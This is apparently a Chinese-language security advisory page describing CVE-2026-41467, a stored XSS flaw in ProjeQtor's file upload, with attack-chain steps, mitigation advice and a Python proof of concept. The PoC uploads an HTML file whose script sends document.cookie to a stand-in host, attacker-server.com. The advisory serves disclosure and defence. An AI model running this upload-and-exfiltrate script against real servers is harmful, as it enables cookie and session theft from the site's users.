IPBUF安全漏洞报告
English
CVE-2026-41467 CVSS 5.4 中危

CVE-2026-41467 ProjeQtor存储型XSS漏洞

披露日期: 2026-04-27

漏洞信息

漏洞编号
CVE-2026-41467
漏洞类型
存储型跨站脚本 (Stored XSS)
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
ProjeQtor

相关标签

XSSStored XSSProjeQtor文件上传漏洞CVE-2026-41467

漏洞概述

ProjeQtor 7.0至12.4.3版本存在存储型跨站脚本(XSS)漏洞。该漏洞源于文件上传功能中的`checkValidFileName()`函数未能有效限制HTML和HTM文件的上传。经过身份验证的攻击者可以通过图片上传或附件端点上传包含任意JavaScript的HTML文件,当用户访问上传的文件URL时,将在其浏览器中执行嵌入的恶意JavaScript脚本。

技术细节

该漏洞产生于ProjeQtor项目管理系统处理文件上传的逻辑缺陷。在受影响版本中,系统通过`checkValidFileName()`函数来验证上传文件的合法性,但该函数存在逻辑疏忽,未将`.html`和`.htm`扩展名列入黑名单或进行严格的MIME类型检查。攻击者首先需要拥有一个经过身份验证的低权限账户,随后利用系统提供的图片上传或附件上传接口,构造包含恶意JavaScript代码的HTML文件并成功上传。服务器将文件存储在可访问的目录中,并返回访问链接。由于服务器未对响应头设置`Content-Disposition: attachment`或`X-Content-Type-Options: nosniff`,浏览器可能会将返回的HTML文件解析为网页内容而非下载文件。当管理员或其他用户点击该链接时,恶意脚本将在受害者的浏览器上下文中运行,从而窃取Cookie、会话令牌或执行进一步的客户端攻击。

攻击链分析

STEP 1
步骤1:身份认证
攻击者注册或获取一个有效的低权限账户,登录ProjeQtor系统。
STEP 2
步骤2:构造恶意文件
攻击者创建一个包含恶意JavaScript代码的HTML或HTM文件。
STEP 3
步骤3:利用文件上传
攻击者通过图片上传或附件功能接口上传该HTML文件。由于`checkValidFileName()`未限制此类文件,上传成功。
STEP 4
步骤4:诱导访问
攻击者获取上传后的文件URL,并通过钓鱼邮件或站内消息诱导管理员或其他用户点击该链接。
STEP 5
步骤5:执行代码
受害用户的浏览器访问链接并解析HTML,导致恶意JavaScript在用户上下文中执行。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Configuration target_url = "http://target-projeqtor.com/tool/saveFile.php" # Example endpoint login_url = "http://target-projeqtor.com/login.php" username = "attacker" password = "password" # 1. Authenticate to get a valid session session = requests.Session() payload = { "loginName": username, "password": password } session.post(login_url, data=payload) # 2. Prepare malicious HTML file (Stored XSS Payload) # The vulnerability allows uploading HTML files via checkValidFileName bypass html_content = """ <html> <body> <script> // Example: Steal session cookie fetch('http://attacker-server.com/steal?c=' + document.cookie); alert('XSS Triggered via CVE-2026-41467'); </script> <h1>Malicious File</h1> </body> </html> """ files = { 'file': ('exploit.html', html_content, 'text/html') } data = { 'objectClass': 'Project', 'objectId': '1' } # 3. Upload the malicious file response = session.post(target_url, files=files, data=data) if response.status_code == 200: print("[+] File uploaded successfully.") # In a real scenario, the response would contain the link to the uploaded file # e.g., http://target-projeqtor.com/files/exploit.html else: print("[-] Upload failed.") print(response.text)

影响范围

ProjeQtor 7.0 - 12.4.3

防御指南

临时缓解措施
如果无法立即升级,建议管理员在Web服务器层面(如Nginx配置)添加规则,拦截对上传目录中HTML文件的直接解析请求,强制浏览器下载文件。同时,应审查系统日志,检查是否已有攻击者上传了可疑的HTML文件,并立即删除。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表